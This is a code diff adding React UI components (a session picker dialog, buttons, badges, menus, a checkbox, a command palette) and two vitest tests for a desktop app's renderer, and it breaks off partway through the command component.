@@ -0,0 +1,97 @@
+import { useQuery } from '@tanstack/react-query'
+import { Dialog as DialogPrimitive } from 'radix-ui'
+import { useEffect, useMemo, useState } from 'react'
+
+import { listAllProfileSessions } from '@/clawcodex'
+import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
+import { useI18n } from '@/i18n'
+import { sessionTitle } from '@/lib/chat-runtime'
+import { Check, MessageCircle } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+interface SessionPickerDialogProps {
+  /** Stored id of the session currently open, so it can be flagged in the list. */
+  activeStoredSessionId?: string | null
+  onOpenChange: (open: boolean) => void
+  onResume: (storedSessionId: string) => void
+  open: boolean
+}
+
+/**
+ * Desktop equivalent of the TUI's sessions overlay (`/resume`, `/sessions`,
+ * `/switch`): a focused, type-to-filter list of recent sessions that resumes
+ * the picked one. Mirrors the command palette's cmdk surface but scoped to
+ * sessions only, so `/resume` feels first-class instead of falling through to
+ * the headless slash worker (which can't render the picker).
+ */
+export function SessionPickerDialog({ activeStoredSessionId, onOpenChange, onResume, open }: SessionPickerDialogProps) {
+  const { t } = useI18n()
+  const [search, setSearch] = useState('')
+
+  const sessionsQuery = useQuery({
+    enabled: open,
+    queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
+    queryKey: ['session-picker', 'sessions']
+  })
+
+  useEffect(() => {
+    if (!open) {
+      setSearch('')
+    }
+  }, [open])
+
+  const sessions = useMemo(() => sessionsQuery.data?.sessions ?? [], [sessionsQuery.data])
+
+  return (
+    <DialogPrimitive.Root onOpenChange={onOpenChange} open={open}>
+      <DialogPrimitive.Portal>
+        <DialogPrimitive.Overlay className="fixed inset-0 z-(--z-over-modal) bg-black/15 backdrop-blur-[1px] data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:animate-in data-[state=open]:fade-in-0" />
+        <DialogPrimitive.Content
+          aria-describedby={undefined}
+          className="fixed left-1/2 top-[14vh] z-(--z-over-modal-content) w-[min(40rem,calc(100vw-2rem))] -translate-x-1/2 overflow-hidden rounded-xl border border-(--ui-stroke-secondary) bg-(--ui-chat-bubble-background) shadow-lg duration-150 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:slide-in-from-top-2 data-[state=open]:zoom-in-95"
+        >
+          <DialogPrimitive.Title className="sr-only">{t.commandCenter.sections.sessions}</DialogPrimitive.Title>
+          <Command className="bg-transparent" loop>
+            <CommandInput onValueChange={setSearch} placeholder={t.commandCenter.searchPlaceholder} value={search} />
+            <CommandList className="max-h-[min(24rem,60vh)]">
+              <CommandEmpty>{t.commandCenter.noResults}</CommandEmpty>
+              <CommandGroup
+                className="**:[[cmdk-group-heading]]:uppercase **:[[cmdk-group-heading]]:tracking-wider **:[[cmdk-group-heading]]:text-[0.6875rem] **:[[cmdk-group-heading]]:text-muted-foreground/70"
+                heading={t.commandCenter.sections.sessions}
+              >
+                {sessions.map(session => {
+                  const title = sessionTitle(session)
+                  const preview = session.preview?.trim()
+
+                  return (
+                    <CommandItem
+                      className="gap-2.5"
+                      key={session.id}
+                      onSelect={() => {
+                        onResume(session.id)
+                        onOpenChange(false)
+                      }}
+                      value={`${title} ${preview ?? ''} ${session.id}`}
+                    >
+                      <MessageCircle className="size-4 shrink-0 text-muted-foreground" />
+                      <span className="flex min-w-0 flex-col leading-snug">
+                        <span className="truncate">{title}</span>
+                        {preview ? <span className="truncate text-xs text-muted-foreground/70">{preview}</span> : null}
+                      </span>
+                      <Check
+                        className={cn(
+                          'ml-auto size-4 shrink-0 text-foreground',
+                          session.id !== activeStoredSessionId && 'invisible'
+                        )}
+                      />
+                    </CommandItem>
+                  )
+                })}
+              </CommandGroup>
+            </CommandList>
+          </Command>
+        </DialogPrimitive.Content>
+      </DialogPrimitive.Portal>
+    </DialogPrimitive.Root>
+  )
+}
diff --git a/ui-desktop/src/components/status-dot.tsx b/ui-desktop/src/components/status-dot.tsx
new file mode 100644
index 000000000..93d689a4e
--- /dev/null
+++ b/ui-desktop/src/components/status-dot.tsx
@@ -0,0 +1,27 @@
+import type { ComponentProps } from 'react'
+import { memo } from 'react'
+
+import { cn } from '@/lib/utils'
+
+export type StatusTone = 'good' | 'muted' | 'warn' | 'bad'
+
+const TONE_BG: Record<StatusTone, string> = {
+  good: 'bg-primary',
+  muted: 'bg-muted-foreground/40',
+  warn: 'bg-amber-500',
+  bad: 'bg-destructive'
+}
+
+interface StatusDotProps extends ComponentProps<'span'> {
+  tone: StatusTone
+}
+
+export const StatusDot = memo(function StatusDot({ className, tone, ...props }: StatusDotProps) {
+  return (
+    <span
+      aria-hidden="true"
+      className={cn('inline-block size-1.5 rounded-full', TONE_BG[tone], className)}
+      {...props}
+    />
+  )
+})
diff --git a/ui-desktop/src/components/ui/__tests__/no-native-title.test.ts b/ui-desktop/src/components/ui/__tests__/no-native-title.test.ts
new file mode 100644
index 000000000..c6c75fb3a
--- /dev/null
+++ b/ui-desktop/src/components/ui/__tests__/no-native-title.test.ts
@@ -0,0 +1,70 @@
+import { readdirSync, readFileSync, statSync } from 'node:fs'
+import { join, resolve } from 'node:path'
+
+import { describe, expect, it } from 'vitest'
+
+// Static-analysis guard: no <button> or <Button> element in the desktop renderer
+// may use the native HTML `title=` attribute. Native tooltips are unstyled,
+// delayed (~500ms OS default), and visually inconsistent with the themed `Tip`.
+// When a tip is warranted (see DESIGN.md — not every icon, never menu triggers),
+// use `<Tip label={...}>` instead of `title=`.
+//
+// This is a source-text scan, not a behavior test — it's the same category as
+// an ESLint rule, expressed as a vitest so it runs with the rest of the suite.
+
+// Recursively walk a directory and collect all .tsx file paths.
+function collectTsxFiles(dir: string): string[] {
+  const results: string[] = []
+
+  for (const entry of readdirSync(dir)) {
+    // Skip node_modules, dist, and __tests__ (this file itself)
+    if (entry === 'node_modules' || entry === 'dist' || entry === '__tests__') {
+      continue
+    }
+
+    const fullPath = join(dir, entry)
+    const stat = statSync(fullPath)
+
+    if (stat.isDirectory()) {
+      results.push(...collectTsxFiles(fullPath))
+    } else if (entry.endsWith('.tsx')) {
+      results.push(fullPath)
+    }
+  }
+
+  return results
+}
+
+describe('no native title= on button elements', () => {
+  // Scan every .tsx file under src/ for <button or <Button opening tags that
+  // also carry a title= attribute (anywhere in the opening tag, which may span
+  // multiple lines).
+  it('uses <Tip> instead of native title= on all button elements', () => {
+    const violations: string[] = []
+    const srcDir = resolve(__dirname, '../..')
+
+    for (const filePath of collectTsxFiles(srcDir)) {
+      const content = readFileSync(filePath, 'utf-8')
+      const relativePath = filePath.replace(srcDir + '/', '')
+
+      // Match <Button ...> or <button ...> opening tags (may span multiple lines).
+      // We use a non-greedy match up to the closing > — this won't perfectly
+      // handle every edge case (e.g. > inside a string literal), but it's good
+      // enough for a lint-style guard.
+      const tagPattern = /<(Button|button)\b([^>]*?)>/gsu
+      let match: RegExpExecArray | null
+
+      while ((match = tagPattern.exec(content)) !== null) {
+        const tagName = match[1]
+        const attrs = match[2]
+
+        if (/\btitle=/.test(attrs)) {
+          const lineNum = content.slice(0, match.index).split('\n').length
+          violations.push(`${relativePath}:${lineNum} <${tagName}> has title= — use <Tip>`)
+        }
+      }
+    }
+
+    expect(violations, violations.join('\n')).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/components/ui/action-status.tsx b/ui-desktop/src/components/ui/action-status.tsx
new file mode 100644
index 000000000..039d6b566
--- /dev/null
+++ b/ui-desktop/src/components/ui/action-status.tsx
@@ -0,0 +1,25 @@
+import type { ReactNode } from 'react'
+
+import { Check, Loader2 } from '@/lib/icons'
+
+// idle → saving → done label+icon for action buttons (create / rename / delete…).
+export function ActionStatus({
+  state,
+  idle,
+  busy,
+  done,
+  idleIcon = null
+}: {
+  state: 'done' | 'idle' | 'saving'
+  idle: string
+  busy: string
+  done: string
+  idleIcon?: ReactNode
+}) {
+  return (
+    <>
+      {state === 'saving' ? <Loader2 className="animate-spin" /> : state === 'done' ? <Check /> : idleIcon}
+      {state === 'saving' ? busy : state === 'done' ? done : idle}
+    </>
+  )
+}
diff --git a/ui-desktop/src/components/ui/actions-menu.tsx b/ui-desktop/src/components/ui/actions-menu.tsx
new file mode 100644
index 000000000..998174621
--- /dev/null
+++ b/ui-desktop/src/components/ui/actions-menu.tsx
@@ -0,0 +1,180 @@
+import type * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import {
+  ContextMenu,
+  ContextMenuContent,
+  ContextMenuItem,
+  ContextMenuLabel,
+  ContextMenuSeparator,
+  ContextMenuSub,
+  ContextMenuSubContent,
+  ContextMenuSubTrigger,
+  ContextMenuTrigger
+} from '@/components/ui/context-menu'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuSub,
+  DropdownMenuSubContent,
+  DropdownMenuSubTrigger,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+
+// One place to define a set of actions and get BOTH a kebab dropdown and a
+// matching right-click context menu — so a row's ⋯ menu and its right-click menu
+// never drift. The dropdown and context primitives share an identical item
+// surface (Item / Separator / Sub…), so a caller writes `items={kit => …}` once
+// and hands the render function to both wrappers.
+//
+// The pattern originated inline in the session row menu; it lives here so every
+// kebab in the app can add right-click parity in one line.
+
+/** A menu flavour (dropdown / context) — the item + separator + submenu parts. */
+export interface MenuKit {
+  Item: typeof DropdownMenuItem | typeof ContextMenuItem
+  Label: typeof DropdownMenuLabel | typeof ContextMenuLabel
+  Separator: typeof DropdownMenuSeparator | typeof ContextMenuSeparator
+  Sub: typeof DropdownMenuSub | typeof ContextMenuSub
+  SubTrigger: typeof DropdownMenuSubTrigger | typeof ContextMenuSubTrigger
+  SubContent: typeof DropdownMenuSubContent | typeof ContextMenuSubContent
+  /** `CopyButton`'s `appearance` for this flavour — pass to a menu-item copy. */
+  copyAppearance: 'context-menu-item' | 'menu-item'
+}
+
+export const DROPDOWN_KIT: MenuKit = {
+  Item: DropdownMenuItem,
+  Label: DropdownMenuLabel,
+  Separator: DropdownMenuSeparator,
+  Sub: DropdownMenuSub,
+  SubContent: DropdownMenuSubContent,
+  SubTrigger: DropdownMenuSubTrigger,
+  copyAppearance: 'menu-item'
+}
+
+export const CONTEXT_KIT: MenuKit = {
+  Item: ContextMenuItem,
+  Label: ContextMenuLabel,
+  Separator: ContextMenuSeparator,
+  Sub: ContextMenuSub,
+  SubContent: ContextMenuSubContent,
+  SubTrigger: ContextMenuSubTrigger,
+  copyAppearance: 'context-menu-item'
+}
+
+/** A single action row. Provide `icon` (codicon name) or `iconNode` (any node). */
+export interface ActionItemSpec {
+  className?: string
+  disabled?: boolean
+  icon?: string
+  iconNode?: React.ReactNode
+  /** Stable key; defaults to `label` when it's a string. */
+  key?: string
+  label: React.ReactNode
+  onSelect: (event: Event) => void
+  variant?: 'default' | 'destructive'
+}
+
+/** Render one `ActionItemSpec` with the given kit's Item component. */
+export function renderActionItem(
+  kit: MenuKit,
+  { className, disabled, icon, iconNode, key, label, onSelect, variant }: ActionItemSpec
+) {
+  return (
+    <kit.Item
+      className={className}
+      disabled={disabled}
+      key={key ?? (typeof label === 'string' ? label : undefined)}
+      onSelect={onSelect}
+      variant={variant}
+    >
+      {iconNode ?? (icon ? <Codicon name={icon} size="0.875rem" /> : null)}
+      {typeof label === 'string' ? <span>{label}</span> : label}
+    </kit.Item>
+  )
+}
+
+interface ActionsMenuProps extends Pick<
+  React.ComponentProps<typeof DropdownMenuContent>,
+  'align' | 'side' | 'sideOffset'
+> {
+  /** The trigger (a kebab button). Wrapped in `DropdownMenuTrigger asChild`. */
+  children: React.ReactNode
+  /** The action rows, rendered with `DROPDOWN_KIT`. Share this with `ActionsContextMenu`. */
+  items: (kit: MenuKit) => React.ReactNode
+  ariaLabel?: string
+  contentClassName?: string
+  open?: boolean
+  onOpenChange?: (open: boolean) => void
+}
+
+/**
+ * A kebab dropdown menu. Pair it with `ActionsContextMenu` using the same
+ * `items` render function so the two menus stay identical. No tip on the
+ * trigger — `aria-label` on the button is enough (see DESIGN.md).
+ */
+export function ActionsMenu({
+  align = 'end',
+  ariaLabel,
+  children,
+  contentClassName,
+  items,
+  onOpenChange,
+  open,
+  side,
+  sideOffset = 6
+}: ActionsMenuProps) {
+  return (
+    <DropdownMenu onOpenChange={onOpenChange} open={open}>
+      <DropdownMenuTrigger asChild>{children}</DropdownMenuTrigger>
+      <DropdownMenuContent
+        align={align}
+        aria-label={ariaLabel}
+        className={contentClassName}
+        side={side}
+        sideOffset={sideOffset}
+      >
+        {items(DROPDOWN_KIT)}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
+interface ActionsContextMenuProps {
+  /** The area that receives right-click. Wrapped in `ContextMenuTrigger asChild`. */
+  children: React.ReactNode
+  /** The action rows, rendered with `CONTEXT_KIT`. Share this with `ActionsMenu`. */
+  items: (kit: MenuKit) => React.ReactNode
+  ariaLabel?: string
+  contentClassName?: string
+  /** Skip the wrapper (render children bare) — e.g. nothing is actionable yet. */
+  disabled?: boolean
+}
+
+/**
+ * Wrap a row so right-clicking it opens the same menu as its kebab. Pass the
+ * kebab's `items` render function so both surfaces mirror each other.
+ */
+export function ActionsContextMenu({
+  ariaLabel,
+  children,
+  contentClassName,
+  disabled,
+  items
+}: ActionsContextMenuProps) {
+  if (disabled) {
+    return <>{children}</>
+  }
+
+  return (
+    <ContextMenu>
+      <ContextMenuTrigger asChild>{children}</ContextMenuTrigger>
+      <ContextMenuContent aria-label={ariaLabel} className={contentClassName}>
+        {items(CONTEXT_KIT)}
+      </ContextMenuContent>
+    </ContextMenu>
+  )
+}
diff --git a/ui-desktop/src/components/ui/alert.tsx b/ui-desktop/src/components/ui/alert.tsx
new file mode 100644
index 000000000..d8d8004df
--- /dev/null
+++ b/ui-desktop/src/components/ui/alert.tsx
@@ -0,0 +1,53 @@
+import { cva, type VariantProps } from 'class-variance-authority'
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+const alertVariants = cva(
+  'relative grid w-full grid-cols-[auto_minmax(0,1fr)] items-start gap-x-3 gap-y-1 rounded-lg border bg-card px-4 py-3 text-sm text-card-foreground shadow-xs [&>svg]:mt-0.5 [&>svg]:size-4 [&>svg]:shrink-0',
+  {
+    variants: {
+      variant: {
+        default: 'border-border',
+        destructive:
+          'border-destructive/35 bg-[color-mix(in_srgb,var(--dt-card)_96%,var(--dt-destructive)_4%)] [&>svg]:text-destructive',
+        warning:
+          'border-primary/30 bg-[color-mix(in_srgb,var(--dt-card)_96%,var(--dt-primary)_4%)] [&>svg]:text-primary',
+        success:
+          'border-primary/25 bg-[color-mix(in_srgb,var(--dt-card)_97%,var(--dt-primary)_3%)] [&>svg]:text-primary'
+      }
+    },
+    defaultVariants: {
+      variant: 'default'
+    }
+  }
+)
+
+function Alert({ className, variant, ...props }: React.ComponentProps<'div'> & VariantProps<typeof alertVariants>) {
+  return <div className={cn(alertVariants({ variant }), className)} data-slot="alert" role="alert" {...props} />
+}
+
+function AlertTitle({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn('col-start-2 line-clamp-1 min-h-4 font-medium tracking-tight text-foreground', className)}
+      data-slot="alert-title"
+      {...props}
+    />
+  )
+}
+
+function AlertDescription({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn(
+        'col-start-2 grid justify-items-start gap-1 text-muted-foreground [&_p]:leading-relaxed',
+        className
+      )}
+      data-slot="alert-description"
+      {...props}
+    />
+  )
+}
+
+export { Alert, AlertDescription, AlertTitle }
diff --git a/ui-desktop/src/components/ui/badge.tsx b/ui-desktop/src/components/ui/badge.tsx
new file mode 100644
index 000000000..c4e46e523
--- /dev/null
+++ b/ui-desktop/src/components/ui/badge.tsx
@@ -0,0 +1,39 @@
+import { cva, type VariantProps } from 'class-variance-authority'
+import { Slot } from 'radix-ui'
+import type * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+// Small status/metadata tag. App radius (not a full pill); tones map to the
+// shared accent/muted/destructive surfaces so badges read consistently.
+const badgeVariants = cva(
+  'inline-flex w-fit shrink-0 items-center gap-1 rounded-[3px] font-medium leading-none whitespace-nowrap [&_svg]:pointer-events-none',
+  {
+    variants: {
+      variant: {
+        default: 'bg-primary/10 text-primary',
+        muted: 'bg-muted text-muted-foreground',
+        warn: 'bg-amber-500/10 text-amber-600 dark:text-amber-300',
+        destructive: 'bg-destructive/10 text-destructive',
+        outline: 'border border-(--ui-stroke-secondary) text-muted-foreground'
+      },
+      size: {
+        default: 'px-1.5 py-0.5 text-[0.65rem] [&_svg]:size-3',
+        xs: 'px-1 py-px text-[0.6rem] [&_svg]:size-2.5'
+      }
+    },
+    defaultVariants: { variant: 'default', size: 'default' }
+  }
+)
+
+export interface BadgeProps extends React.ComponentProps<'span'>, VariantProps<typeof badgeVariants> {
+  asChild?: boolean
+}
+
+export function Badge({ asChild = false, className, size, variant, ...props }: BadgeProps) {
+  const Comp = asChild ? Slot.Root : 'span'
+
+  return <Comp className={cn(badgeVariants({ size, variant }), className)} data-slot="badge" {...props} />
+}
+
+export { badgeVariants }
diff --git a/ui-desktop/src/components/ui/button.tsx b/ui-desktop/src/components/ui/button.tsx
new file mode 100644
index 000000000..10a107727
--- /dev/null
+++ b/ui-desktop/src/components/ui/button.tsx
@@ -0,0 +1,94 @@
+import { cva, type VariantProps } from 'class-variance-authority'
+import { Slot } from 'radix-ui'
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+// Text+icon actions underline the label on hover, not the glyph.
+const TEXT_ACTION_ICON = '[&_.codicon]:no-underline [&_svg]:no-underline'
+
+// Text buttons are square (no radius) and sized by padding + line-height — no
+// fixed heights — so they stay snug and scale with content. Only icon buttons
+// (inherently square) carry the shared 4px radius.
+const buttonVariants = cva(
+  "inline-flex shrink-0 cursor-pointer items-center justify-center gap-1.5 rounded-[2.5px] text-xs leading-4 font-medium whitespace-nowrap shadow-none transition-all duration-100 outline-none focus-visible:border-ring focus-visible:ring-[0.1875rem] focus-visible:ring-ring/50 disabled:pointer-events-none disabled:cursor-default disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-3.5",
+  {
+    variants: {
+      variant: {
+        default: 'bg-primary text-primary-foreground hover:bg-primary/90',
+        destructive:
+          'bg-destructive text-white hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:bg-destructive/60 dark:focus-visible:ring-destructive/40',
+        // Quiet action — transparent fill with a 1.5px inset ring (no layout-shifting border).
+        outline:
+          'bg-transparent text-(--ui-text-primary) shadow-[inset_0_0_0_1px_color-mix(in_srgb,var(--ui-stroke-secondary)_50%,transparent)] hover:bg-(--chrome-action-hover) hover:text-(--ui-text-primary)',
+        // Soft-fill action (the default "non-primary button" look).
+        secondary:
+          'bg-(--ui-bg-quaternary) text-(--ui-text-primary) hover:bg-(--chrome-action-hover) hover:text-(--ui-text-primary)',
+        ghost: 'text-(--ui-text-secondary) hover:bg-(--chrome-action-hover) hover:text-(--ui-text-primary)',
+        link: `text-primary underline-offset-4 decoration-current/20 hover:underline ${TEXT_ACTION_ICON}`,
+        // Boxless inline-text action (no bg/border). Quiet by default — reads as
+        // muted label text, underlines on hover (e.g. "Cancel", "Clear").
+        text: `text-muted-foreground underline-offset-4 hover:text-foreground hover:underline ${TEXT_ACTION_ICON}`,
+        // Emphasized inline-text action: bold + always-underlined link. Use for
+        // the actionable affordance in a row ("Change", "Set", "Open logs", …).
+        textStrong: `font-semibold text-muted-foreground underline underline-offset-4 hover:text-foreground ${TEXT_ACTION_ICON}`
+      },
+      size: {
+        default: 'px-3 py-1.5 has-[>svg]:px-2.5',
+        xs: "gap-1 px-2 py-0.5 text-[0.6875rem] leading-4 has-[>svg]:px-1.5 [&_svg:not([class*='size-'])]:size-3",
+        sm: 'px-2.5 py-1 has-[>svg]:px-2',
+        lg: 'px-5 py-2 text-sm leading-5 has-[>svg]:px-4',
+        // Flush inline text action — no box padding/height. Pair with text/link
+        // variants when the button must sit inline in a heading or sentence
+        // (replaces ad-hoc `h-auto px-0 py-0` overrides).
+        inline: 'h-auto gap-1 p-0 has-[>svg]:px-0',
+        // Status-stack headers, table footers — 12px text actions beside a label.
+        micro:
+          "h-auto gap-0.5 px-1 py-0 text-xs leading-4 font-normal has-[>svg]:px-0.5 [&_svg:not([class*='size-'])]:size-3",
+        icon: 'size-9 rounded-[4px]',
+        'icon-xs': "size-6 rounded-[4px] [&_svg:not([class*='size-'])]:size-3",
+        'icon-sm': 'size-8 rounded-[4px]',
+        'icon-lg': 'size-10 rounded-[4px]',
+        'icon-titlebar':
+          'h-(--titlebar-control-height) w-(--titlebar-control-size) rounded-[4px] [&_.codicon]:text-[0.875rem]'
+      }
+    },
+    compoundVariants: [
+      // textStrong is a boxless link — size variants still inject px-*; strip
+      // inline padding so the underline sits flush with the label.
+      {
+        variant: 'textStrong',
+        class: 'px-0 has-[>svg]:px-0'
+      }
+    ],
+    defaultVariants: {
+      variant: 'default',
+      size: 'default'
+    }
+  }
+)
+
+function Button({
+  className,
+  variant = 'default',
+  size = 'default',
+  asChild = false,
+  ...props
+}: React.ComponentProps<'button'> &
+  VariantProps<typeof buttonVariants> & {
+    asChild?: boolean
+  }) {
+  const Comp = asChild ? Slot.Root : 'button'
+
+  return (
+    <Comp
+      className={cn(buttonVariants({ variant, size }), className)}
+      data-size={size}
+      data-slot="button"
+      data-variant={variant}
+      {...props}
+    />
+  )
+}
+
+export { Button, buttonVariants }
diff --git a/ui-desktop/src/components/ui/checkbox.test.tsx b/ui-desktop/src/components/ui/checkbox.test.tsx
new file mode 100644
index 000000000..2ed48ea0a
--- /dev/null
+++ b/ui-desktop/src/components/ui/checkbox.test.tsx
@@ -0,0 +1,62 @@
+import { cleanup, render } from '@testing-library/react'
+import { afterEach, beforeAll, describe, expect, it } from 'vitest'
+
+import { Checkbox } from './checkbox'
+
+/**
+ * The indicator stacks both glyphs and hides one with a utility class, so the
+ * cascade — not the markup — decides what the user sees. codicon.css sets
+ * `display: inline-block` on `.codicon[class*='codicon-']`, which outranks a
+ * single-class utility and paints the check and the dash at the same time.
+ * That specificity race is the real contract, so the test carries both
+ * stylesheets rather than asserting on class strings. Tailwind's nested output
+ * is flattened to the equivalent descendant selector because jsdom does not
+ * implement CSS nesting.
+ */
+const CODICON_CSS = `.codicon[class*='codicon-'] { display: inline-block; }`
+
+const TAILWIND_CSS = `
+  .hidden\\! { display: none !important; }
+  :where(.group)[data-state="checked"] .group-data-\\[state\\=checked\\]\\:block\\! {
+    display: block !important;
+  }
+  :where(.group)[data-state="indeterminate"] .group-data-\\[state\\=indeterminate\\]\\:block\\! {
+    display: block !important;
+  }
+`
+
+function shownGlyphs(container: HTMLElement) {
+  return [...container.querySelectorAll<HTMLElement>('.codicon')]
+    .filter(glyph => getComputedStyle(glyph).display !== 'none')
+    .map(glyph => (glyph.classList.contains('codicon-check') ? 'check' : 'dash'))
+}
+
+beforeAll(() => {
+  // eslint-disable-next-line no-restricted-globals -- the cascade is the assertion; it needs a real stylesheet
+  const style = document.createElement('style')
+  style.textContent = `${CODICON_CSS}\n${TAILWIND_CSS}`
+  // eslint-disable-next-line no-restricted-globals -- see above
+  document.head.append(style)
+})
+
+afterEach(cleanup)
+
+describe('Checkbox', () => {
+  it('paints the check alone when checked', () => {
+    const { container } = render(<Checkbox checked />)
+
+    expect(shownGlyphs(container)).toEqual(['check'])
+  })
+
+  it('paints the dash alone when indeterminate', () => {
+    const { container } = render(<Checkbox checked="indeterminate" />)
+
+    expect(shownGlyphs(container)).toEqual(['dash'])
+  })
+
+  it('paints no glyph when unchecked', () => {
+    const { container } = render(<Checkbox checked={false} />)
+
+    expect(shownGlyphs(container)).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/components/ui/checkbox.tsx b/ui-desktop/src/components/ui/checkbox.tsx
new file mode 100644
index 000000000..31c8e3565
--- /dev/null
+++ b/ui-desktop/src/components/ui/checkbox.tsx
@@ -0,0 +1,30 @@
+import { Checkbox as CheckboxPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+function Checkbox({ className, ...props }: React.ComponentProps<typeof CheckboxPrimitive.Root>) {
+  return (
+    <CheckboxPrimitive.Root
+      className={cn(
+        'group peer size-4 shrink-0 rounded-sm border border-input shadow-xs outline-none transition-shadow focus-visible:border-ring focus-visible:ring-2 focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:border-primary data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground data-[state=indeterminate]:border-primary data-[state=indeterminate]:bg-primary data-[state=indeterminate]:text-primary-foreground aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40',
+        className
+      )}
+      data-slot="checkbox"
+      {...props}
+    >
+      <CheckboxPrimitive.Indicator
+        className="flex items-center justify-center text-current"
+        data-slot="checkbox-indicator"
+      >
+        {/* codicon.css sets `display: inline-block` at higher specificity than a bare
+            `hidden`, so both glyphs paint at once without the important modifier. */}
+        <Codicon className="hidden! group-data-[state=checked]:block!" name="check" size="0.875rem" />
+        <Codicon className="hidden! group-data-[state=indeterminate]:block!" name="dash" size="0.875rem" />
+      </CheckboxPrimitive.Indicator>
+    </CheckboxPrimitive.Root>
+  )
+}
+
+export { Checkbox }
diff --git a/ui-desktop/src/components/ui/codicon.tsx b/ui-desktop/src/components/ui/codicon.tsx
new file mode 100644
index 000000000..eb5e746bb
--- /dev/null
+++ b/ui-desktop/src/components/ui/codicon.tsx
@@ -0,0 +1,32 @@
+import type { Icon } from '@tabler/icons-react'
+import type * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+export interface CodiconProps extends React.HTMLAttributes<HTMLElement> {
+  name: string
+  size?: number | string
+  spinning?: boolean
+}
+
+export function Codicon({ className, name, size, spinning, style, ...props }: CodiconProps) {
+  return (
+    <i
+      aria-hidden="true"
+      className={cn('codicon', `codicon-${name}`, spinning && 'codicon-modifier-spin', className)}
+      style={{ fontSize: size, ...style }}
+      {...props}
+    />
+  )
+}
+
+/** Wrap a codicon as a Tabler-shaped icon for nav rows that expect `IconComponent`. */
+export function codiconIcon(name: string): Icon {
+  function CodiconIcon({ className }: { className?: string }) {
+    return <Codicon aria-hidden className={cn('leading-none', className)} name={name} size="1em" />
+  }
+
+  CodiconIcon.displayName = `Codicon(${name})`
+
+  return CodiconIcon as Icon
+}
diff --git a/ui-desktop/src/components/ui/color-swatches.tsx b/ui-desktop/src/components/ui/color-swatches.tsx
new file mode 100644
index 000000000..b3c7ec84e
--- /dev/null
+++ b/ui-desktop/src/components/ui/color-swatches.tsx
@@ -0,0 +1,50 @@
+import { Codicon } from './codicon'
+
+interface ColorSwatchesProps {
+  swatches: readonly string[]
+  value: null | string
+  onChange: (color: null | string) => void
+  clearLabel: string
+  clearIcon?: string
+  swatchLabel?: (color: string) => string
+}
+
+// Shared swatch grid + clear row used by the profile rail and the project
+// dialog, so color picking looks and behaves identically everywhere.
+export function ColorSwatches({
+  swatches,
+  value,
+  onChange,
+  clearLabel,
+  clearIcon = 'circle-slash',
+  swatchLabel
+}: ColorSwatchesProps) {
+  return (
+    <div>
+      <div className="grid grid-cols-6 gap-1.5">
+        {swatches.map(swatch => (
+          <button
+            aria-label={swatchLabel?.(swatch) ?? swatch}
+            className="size-5 rounded-full transition-transform hover:scale-110"
+            key={swatch}
+            onClick={() => onChange(swatch)}
+            style={{
+              backgroundColor: swatch,
+              boxShadow: swatch === value ? '0 0 0 2px var(--ui-bg-elevated), 0 0 0 3.5px currentColor' : undefined,
+              color: swatch
+            }}
+            type="button"
+          />
+        ))}
+      </div>
+      <button
+        className="mt-2 flex w-full items-center justify-center gap-1.5 rounded-md py-1 text-xs text-(--ui-text-tertiary) transition hover:bg-(--ui-control-hover-background) hover:text-foreground"
+        onClick={() => onChange(null)}
+        type="button"
+      >
+        <Codicon name={clearIcon} size="0.75rem" />
+        {clearLabel}
+      </button>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/command.tsx b/ui-desktop/src/components/ui/command.tsx
new file mode 100644
index 000000000..760bb1452
--- /dev/null
+++ b/ui-desktop/src/components/ui/command.tsx
@@ -0,0 +1,124 @@
+import { Command as CommandPrimitive } from 'cmdk'
+import * as React from 'react'
+
+import { usePointerQuiet } from '@/components/ui/keyboard-first'
+import { SearchIcon } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+function Command({ className, ...props }: React.ComponentProps<typeof CommandPrimitive>) {
+  return (
+    <CommandPrimitive
+      className={cn(
+        'flex h-full w-full flex-col overflow-hidden rounded-md bg-popover text-popover-foreground',
+        className
+      )}
+      data-slot="command"
+      {...props}
+    />
+  )
+}
+
+interface CommandInputProps extends React.ComponentProps<typeof CommandPrimitive.Input> {
+  /** Inline trailing slot, rendered on the right of the search row. */
+  right?: React.ReactNode
+}
+
+function CommandInput({ className, right, ...props }: CommandInputProps) {
+  return (
+    <div className="flex h-11 items-center gap-2 border-b border-border px-3" data-slot="command-input-wrapper">
+      <SearchIcon className="size-4 shrink-0 text-muted-foreground" />
+      <CommandPrimitive.Input
+        className={cn(
+          'flex h-10 w-full rounded-md bg-transparent py-3 text-sm outline-none placeholder:text-muted-foreground disabled:cursor-not-allowed disabled:opacity-50',
+          className
+        )}
+        data-slot="command-input"
+        {...props}
+      />
+      {right}
+    </div>
+  )
+}
+
